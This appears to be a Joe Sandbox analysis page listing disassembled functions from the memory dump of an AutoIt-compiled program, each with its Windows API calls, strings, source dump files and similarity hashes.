Function 00B9EAA2 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00B9EABD

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: bc042b697d28d73faff31d197015c4766d81ba48f3003e3135beb8fea4989ca3
Instruction ID: 7a6a5656072310ac384749cf6ac498a0976b6f5291748020a9331d7765c297f6
Opcode Fuzzy Hash: bc042b697d28d73faff31d197015c4766d81ba48f3003e3135beb8fea4989ca3
Instruction Fuzzy Hash: 2DE048312102149FD710DF69D444E9AFBD9EF58760F048466FC49C7361DB70E8418B90

Function 00B409D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000209E1,00B403EE), ref: 00B409DA

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 28006d56e54640c373b340ba6dddd613767133c6fb43e8b9b5c7d14794d4d6ab
Instruction ID: ffdfa32a5604200cf114ae2c5cc21182c8aefdd0644766b1967b565eddd868c2
Opcode Fuzzy Hash: 28006d56e54640c373b340ba6dddd613767133c6fb43e8b9b5c7d14794d4d6ab
Instruction Fuzzy Hash:

Function 00BA2ADE Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00BA2B30
DeleteObject.GDI32(00000000), ref: 00BA2B43
DestroyWindow.USER32 ref: 00BA2B52
GetDesktopWindow.USER32 ref: 00BA2B6D
GetWindowRect.USER32(00000000), ref: 00BA2B74
SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 00BA2CA3
AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00BA2CB1
CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BA2CF8
GetClientRect.USER32(00000000,?), ref: 00BA2D04
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00BA2D40
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BA2D62
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BA2D75
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BA2D80
GlobalLock.KERNEL32(00000000), ref: 00BA2D89
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BA2D98
GlobalUnlock.KERNEL32(00000000), ref: 00BA2DA1
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BA2DA8
GlobalFree.KERNEL32(00000000), ref: 00BA2DB3
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BA2DC5
OleLoadPicture.OLEAUT32(?,00000000,00000000,00BBFC38,00000000), ref: 00BA2DDB
GlobalFree.KERNEL32(00000000), ref: 00BA2DEB
CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 00BA2E11
SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 00BA2E30
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BA2E52
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BA303F

Strings

DISPLAY, xrefs: 00BA2EA2
AutoIt v3, xrefs: 00BA2CF2
static, xrefs: 00BA2D3A, 00BA2E91
, xrefs: 00BA2FC5

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 8e566e33866e7d4261111d61ae6501fac628c6bcfa26b89bc43100dcbf58bef2
Instruction ID: 9112aebc2df10c61f2628dd7e0b185869e33379446ae150722e1fcc871d37c78
Opcode Fuzzy Hash: 8e566e33866e7d4261111d61ae6501fac628c6bcfa26b89bc43100dcbf58bef2
Instruction Fuzzy Hash: 10025A71900215EFDB14DF68DC89EAE7BB9EF49710F048698F915AB2A1DB70ED01CB60

Function 00BB70D5 Relevance: 49.8, APIs: 33, Instructions: 273COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00BB712F
GetSysColorBrush.USER32(0000000F), ref: 00BB7160
GetSysColor.USER32(0000000F), ref: 00BB716C
SetBkColor.GDI32(?,000000FF), ref: 00BB7186
SelectObject.GDI32(?,?), ref: 00BB7195
InflateRect.USER32(?,000000FF,000000FF), ref: 00BB71C0
GetSysColor.USER32(00000010), ref: 00BB71C8
CreateSolidBrush.GDI32(00000000), ref: 00BB71CF
FrameRect.USER32(?,?,00000000), ref: 00BB71DE
DeleteObject.GDI32(00000000), ref: 00BB71E5
InflateRect.USER32(?,000000FE,000000FE), ref: 00BB7230
FillRect.USER32(?,?,?), ref: 00BB7262
GetWindowLongW.USER32(?,000000F0), ref: 00BB7284

Part of subcall function 00BB73E8: GetSysColor.USER32(00000012), ref: 00BB7421
Part of subcall function 00BB73E8: SetTextColor.GDI32(?,?), ref: 00BB7425
Part of subcall function 00BB73E8: GetSysColorBrush.USER32(0000000F), ref: 00BB743B
Part of subcall function 00BB73E8: GetSysColor.USER32(0000000F), ref: 00BB7446
Part of subcall function 00BB73E8: GetSysColor.USER32(00000011), ref: 00BB7463
Part of subcall function 00BB73E8: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00BB7471
Part of subcall function 00BB73E8: SelectObject.GDI32(?,00000000), ref: 00BB7482
Part of subcall function 00BB73E8: SetBkColor.GDI32(?,00000000), ref: 00BB748B
Part of subcall function 00BB73E8: SelectObject.GDI32(?,?), ref: 00BB7498
Part of subcall function 00BB73E8: InflateRect.USER32(?,000000FF,000000FF), ref: 00BB74B7
Part of subcall function 00BB73E8: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00BB74CE
Part of subcall function 00BB73E8: GetWindowLongW.USER32(00000000,000000F0), ref: 00BB74DB

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 95657191b38d474eac7fc925b59c5e24ebed0c6bff4946a15eaae0a88d231256
Instruction ID: 090db5a996a535e308ade3314fde68eee1dec8a8d66fecb3b758fe3cafac555c
Opcode Fuzzy Hash: 95657191b38d474eac7fc925b59c5e24ebed0c6bff4946a15eaae0a88d231256
Instruction Fuzzy Hash: 00A17371008701AFD711DF64DC49EAB7BE9FB89320F100B19F9A2A71A1DBB1D945CB61

Function 00B38D85 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 480windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?), ref: 00B38E14
SendMessageW.USER32(?,00001308,?,00000000), ref: 00B76AC5
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00B76AFE
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00B76F43

Part of subcall function 00B38F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00B38BE8,?,00000000,?,?,?,?,00B38BBA,00000000,?), ref: 00B38FC5

SendMessageW.USER32(?,00001053), ref: 00B76F7F
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00B76F96
ImageList_Destroy.COMCTL32(00000000,?), ref: 00B76FAC
ImageList_Destroy.COMCTL32(00000000,?), ref: 00B76FB7

Strings

0, xrefs: 00B76DCF

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: DestroyImageList_MessageSend$Window$InvalidateMoveRectRemove
String ID: 0
API String ID: 2760611726-4108050209
Opcode ID: d47e73e1cd93ba85f6f3df818a4d895f6cbab17669915ac6eb9b3a3e68b9f558
Instruction ID: 51fb93d3d04e9e7affe5a4ad287b20feb5615c9839f0472d263af0f6afaf1f0e
Opcode Fuzzy Hash: d47e73e1cd93ba85f6f3df818a4d895f6cbab17669915ac6eb9b3a3e68b9f558
Instruction Fuzzy Hash: 2F128E30204611EFDB25CF28C894BB5BBE5FB55300F2489A9F4A9CB661CB71EC52DB91

Function 00BA2711 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00BA273E
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00BA286A
SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 00BA28A9
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 00BA28B9
CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 00BA2900
GetClientRect.USER32(00000000,?), ref: 00BA290C
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 00BA2955
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00BA2964
GetStockObject.GDI32(00000011), ref: 00BA2974
SelectObject.GDI32(00000000,00000000), ref: 00BA2978
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 00BA2988
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00BA2991
DeleteDC.GDI32(00000000), ref: 00BA299A
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00BA29C6
SendMessageW.USER32(00000030,00000000,00000001), ref: 00BA29DD
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 00BA2A1D
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00BA2A31
SendMessageW.USER32(00000404,00000001,00000000), ref: 00BA2A42
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 00BA2A77
GetStockObject.GDI32(00000011), ref: 00BA2A82
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00BA2A8D
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 00BA2A97

Strings

DISPLAY, xrefs: 00BA295A
AutoIt v3, xrefs: 00BA28F8
static, xrefs: 00BA294F, 00BA2A71
msctls_progress32, xrefs: 00BA2A13

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 8b2c4f215ab4f5ce018ad9296ce5985f1c1f63aa1e682c1b9974b6fe51e961ba
Instruction ID: 7b079cefd4fde309dafe1ec9dbbcfb52b285d5eb542a9eec5c59945b5d08434e
Opcode Fuzzy Hash: 8b2c4f215ab4f5ce018ad9296ce5985f1c1f63aa1e682c1b9974b6fe51e961ba
Instruction Fuzzy Hash: 17B15B71A00215BFEB14DF68DC49FAE7BB9EB09710F004654F915EB2A0DBB4AD40CBA4

Function 00B94ADF Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00B94AED
GetDriveTypeW.KERNEL32(?,00BBCB68,?,\\.\,00BBCC08), ref: 00B94BCA
SetErrorMode.KERNEL32(00000000,00BBCB68,?,\\.\,00BBCC08), ref: 00B94D36

Strings

USB, xrefs: 00B94CB4
FileBackedVirtual, xrefs: 00B94CEC
RAID, xrefs: 00B94CBB
CDROM, xrefs: 00B94BFB
Fixed, xrefs: 00B94C09
SSD, xrefs: 00B94C4A
RAMDisk, xrefs: 00B94BF4
Network, xrefs: 00B94C02
SAS, xrefs: 00B94CC9
Fibre, xrefs: 00B94CAD
Virtual, xrefs: 00B94CE5
iSCSI, xrefs: 00B94CC2
Unknown, xrefs: 00B94BED, 00B94C83
PhysicalDrive, xrefs: 00B94B76
MMC, xrefs: 00B94CDE
ATAPI, xrefs: 00B94C91
SSA, xrefs: 00B94CA6
SATA, xrefs: 00B94CD0
Removable, xrefs: 00B94C10, 00B94C15
1394, xrefs: 00B94C9F
\\.\, xrefs: 00B94B3F
ATA, xrefs: 00B94C98
SCSI, xrefs: 00B94C8A

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 83ae692fc4007dc38c8b0004892d8829129de500bff7f2c1e6dad692df63e4a7
Instruction ID: c5067ec6f7c180c8111cae4d0931759527f7f603f2a63f3e89fdbbce4b4ca474
Opcode Fuzzy Hash: 83ae692fc4007dc38c8b0004892d8829129de500bff7f2c1e6dad692df63e4a7
Instruction Fuzzy Hash: 1E618D30605149AFCF04DF25CA81D69B7F0EF19384B3485F6E80AAB2A1DB65ED42DB41

Function 00BB73E8 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00BB7421
SetTextColor.GDI32(?,?), ref: 00BB7425
GetSysColorBrush.USER32(0000000F), ref: 00BB743B
GetSysColor.USER32(0000000F), ref: 00BB7446
CreateSolidBrush.GDI32(?), ref: 00BB744B
GetSysColor.USER32(00000011), ref: 00BB7463
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00BB7471
SelectObject.GDI32(?,00000000), ref: 00BB7482
SetBkColor.GDI32(?,00000000), ref: 00BB748B
SelectObject.GDI32(?,?), ref: 00BB7498
InflateRect.USER32(?,000000FF,000000FF), ref: 00BB74B7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00BB74CE
GetWindowLongW.USER32(00000000,000000F0), ref: 00BB74DB
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00BB752A
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00BB7554
InflateRect.USER32(?,000000FD,000000FD), ref: 00BB7572
DrawFocusRect.USER32(?,?), ref: 00BB757D
GetSysColor.USER32(00000011), ref: 00BB758E
SetTextColor.GDI32(?,00000000), ref: 00BB7596
DrawTextW.USER32(?,00BB70F5,000000FF,?,00000000), ref: 00BB75A8
SelectObject.GDI32(?,?), ref: 00BB75BF
DeleteObject.GDI32(?), ref: 00BB75CA
SelectObject.GDI32(?,?), ref: 00BB75D0
DeleteObject.GDI32(?), ref: 00BB75D5
SetTextColor.GDI32(?,?), ref: 00BB75DB
SetBkColor.GDI32(?,?), ref: 00BB75E5

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: fe27a4378270dc11548d82a70cc5e081fd165b1b1512a26000e83e9300d10789
Instruction ID: 7245e8733cdc662ff619cd711b33d2df835964af90c54ed32c9994310e7e3c3c
Opcode Fuzzy Hash: fe27a4378270dc11548d82a70cc5e081fd165b1b1512a26000e83e9300d10789
Instruction Fuzzy Hash: DD616172904618AFDF11DFA4DC49EEE7FB9EB48320F114255F915BB2A1DBB09940CB90

Function 00BB0FF3 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00BB1128
GetDesktopWindow.USER32 ref: 00BB113D
GetWindowRect.USER32(00000000), ref: 00BB1144
GetWindowLongW.USER32(?,000000F0), ref: 00BB1199
DestroyWindow.USER32(?), ref: 00BB11B9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00BB11ED
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00BB120B
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00BB121D
SendMessageW.USER32(00000000,00000421,?,?), ref: 00BB1232
SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 00BB1245
IsWindowVisible.USER32(00000000), ref: 00BB12A1
SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 00BB12BC
SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 00BB12D0
GetWindowRect.USER32(00000000,?), ref: 00BB12E8
MonitorFromPoint.USER32(?,?,00000002), ref: 00BB130E
GetMonitorInfoW.USER32(00000000,?), ref: 00BB1328
CopyRect.USER32(?,?), ref: 00BB133F
SendMessageW.USER32(00000000,00000412,00000000), ref: 00BB13AA

Strings

(, xrefs: 00BB131B
tooltips_class32, xrefs: 00BB11E6
0, xrefs: 00BB10D3

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: be389b345f7d5d1c75fbdbd75cb0f346dad95008bd41cb79a4d85213a40650f9
Instruction ID: ae9bab30a77468b3420a1f0114de01960b08ae3217a79ec48a3e8d7083711be5
Opcode Fuzzy Hash: be389b345f7d5d1c75fbdbd75cb0f346dad95008bd41cb79a4d85213a40650f9
Instruction Fuzzy Hash: A7B19E71604351AFD710DF68C895FAABBE4FF88340F40895CF9999B261DBB1E844CB91

Function 00B38891 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00B38968
GetSystemMetrics.USER32(00000007), ref: 00B38970
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00B3899B
GetSystemMetrics.USER32(00000008), ref: 00B389A3
GetSystemMetrics.USER32(00000004), ref: 00B389C8
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00B389E5
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00B389F5
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00B38A28
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00B38A3C
GetClientRect.USER32(00000000,000000FF), ref: 00B38A5A
GetStockObject.GDI32(00000011), ref: 00B38A76
SendMessageW.USER32(00000000,00000030,00000000), ref: 00B38A81

Part of subcall function 00B3912D: GetCursorPos.USER32(?), ref: 00B39141
Part of subcall function 00B3912D: ScreenToClient.USER32(00000000,?), ref: 00B3915E
Part of subcall function 00B3912D: GetAsyncKeyState.USER32(00000001), ref: 00B39183
Part of subcall function 00B3912D: GetAsyncKeyState.USER32(00000002), ref: 00B3919D

SetTimer.USER32(00000000,00000000,00000028,00B390FC), ref: 00B38AA8

Strings

AutoIt v3 GUI, xrefs: 00B38A20

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: bdab93088f1fe572438853c65d844718af7ee8c6c60936788c4ddcb4e206733f
Instruction ID: 9ec0aec3fb63922d526290f6ac9be7e54729d5589119e3fe871cbcc8e9830782
Opcode Fuzzy Hash: bdab93088f1fe572438853c65d844718af7ee8c6c60936788c4ddcb4e206733f
Instruction Fuzzy Hash: 4CB16D71A00209DFDB14DFA8CD85BAE3BF5FB48314F108669FA15A7290DBB4E841CB51

Function 00B80D8B Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B810F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00B81114
Part of subcall function 00B810F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00B80B9B,?,?,?), ref: 00B81120
Part of subcall function 00B810F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00B80B9B,?,?,?), ref: 00B8112F
Part of subcall function 00B810F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00B80B9B,?,?,?), ref: 00B81136
Part of subcall function 00B810F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00B8114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00B80DF5
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00B80E29
GetLengthSid.ADVAPI32(?), ref: 00B80E40
GetAce.ADVAPI32(?,00000000,?), ref: 00B80E7A
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00B80E96
GetLengthSid.ADVAPI32(?), ref: 00B80EAD
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00B80EB5
HeapAlloc.KERNEL32(00000000), ref: 00B80EBC
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00B80EDD
CopySid.ADVAPI32(00000000), ref: 00B80EE4
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00B80F13
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00B80F35
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00B80F47
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B80F6E
HeapFree.KERNEL32(00000000), ref: 00B80F75
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B80F7E
HeapFree.KERNEL32(00000000), ref: 00B80F85
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B80F8E
HeapFree.KERNEL32(00000000), ref: 00B80F95
GetProcessHeap.KERNEL32(00000000,?), ref: 00B80FA1
HeapFree.KERNEL32(00000000), ref: 00B80FA8

Part of subcall function 00B81193: GetProcessHeap.KERNEL32(00000008,00B80BB1,?,00000000,?,00B80BB1,?), ref: 00B811A1
Part of subcall function 00B81193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00B80BB1,?), ref: 00B811A8
